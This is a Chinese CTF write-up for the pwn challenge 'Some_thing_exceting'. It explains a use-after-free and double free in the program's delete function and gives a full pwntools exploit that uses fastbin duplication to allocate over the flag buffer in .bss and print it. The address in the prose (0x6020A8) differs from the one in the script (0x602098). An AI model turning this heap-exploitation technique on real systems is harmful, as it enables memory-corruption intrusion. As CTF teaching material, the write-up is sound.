i春秋新春战役PWN之Some_thing_exceting

心好累,堆处入手,看明白了,可是总是复盘实现不了。。。不过学长那边可以,是我机子的问题??

题目链接:https://pan.baidu.com/s/1Tv5Y4ieNVEasZ8oAYYn2Lw   提取码:5td6

 

文件查看一下

i春秋新春战役PWN之Some_thing_exceting_第1张图片

 

拿到程序发现运行不了,查看文件属性,发现没有执行权限,加一个执行权限

i春秋新春战役PWN之Some_thing_exceting_第2张图片

执行不了

因为程序要打开/flag(根目录下flag)文件

i春秋新春战役PWN之Some_thing_exceting_第3张图片

没有就自动退出了,所以创建

i春秋新春战役PWN之Some_thing_exceting_第4张图片

i春秋新春战役PWN之Some_thing_exceting_第5张图片

 

 

程序主要有三个功能,增加、删除、查看

i春秋新春战役PWN之Some_thing_exceting_第6张图片

 

delete函数中,指针使用完没有置0,所以存在uaf和double free漏洞

i春秋新春战役PWN之Some_thing_exceting_第7张图片

 

程序一开始运行时候,flag就已经读入程序,在s中,位置在bss段

i春秋新春战役PWN之Some_thing_exceting_第8张图片

i春秋新春战役PWN之Some_thing_exceting_第9张图片

而且,flag这里刚好为我们预留了一个大小为0x60的块,所以我们应该利用double free申请到这块内存,然后show()输出即可

 

总结思路(error404的ppt):

1.首先一次free掉chunk1、chunk2、chunk1,每个chunk的大小均为0x50

2.写入chunk1的fd指针为0x6020A8(flag的位置)

3.将0x6020A8处作为chunk的data域分配出来(因为程序unuse的fd指针在inuse的时候就是data域,是复用内存了)

4.利用show函数打印出flag

//exp
#coding:utf-8
from pwn import *
import sys
p = process('./excited')
context.arch='amd64'
libc=ELF("./excited").libc

def new(size1,content1,size2,content2):
    p.recvuntil('> Now please tell me what you want to do :')
    p.sendline('1')
    p.recvuntil('length : ')
    p.sendline(str(size1))
    p.recvuntil('> ba : ')
    p.send(content1)
    p.recvuntil('length : ')
    p.sendline(str(size2))
    p.recvuntil('> na : ')
    p.send(content2)

def delete(idx):
    p.recvuntil(' Now please tell me what you want to do :')
    p.sendline('3')
    p.recvuntil(' ID : ')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('ow please tell me what you want to do :')
    p.sendline('4')
    p.recvuntil('ID : ')
    p.sendline(str(idx))

new(0x50,'Chunk_1',0x50,'Chunk_2')#0
new(0x50,'Chunk_3',0x50,'Chunk_4')#1
delete(0)
delete(1)
delete(0)
new(0x50,p64(0x602098),0x50,'Chunk_2')#2
new(0x50,'Chunk_3',0x50,'Chunk_4')#3
new(0x50,'f',0x60,'2')#4
show(4)
p.interactive()
p.close()

参考博客:

(1)https://www.anquanke.com/post/id/199540#h2-16

(2)https://nocbtm.github.io/2020/02/22/2020-i%E6%98%A5%E7%A7%8B%E5%85%AC%E7%9B%8A%E8%B5%9Bpwn-writeup/#Some-thing-exceting

(3)https://xz.aliyun.com/t/7281

 


 

你可能感兴趣的:(pwn)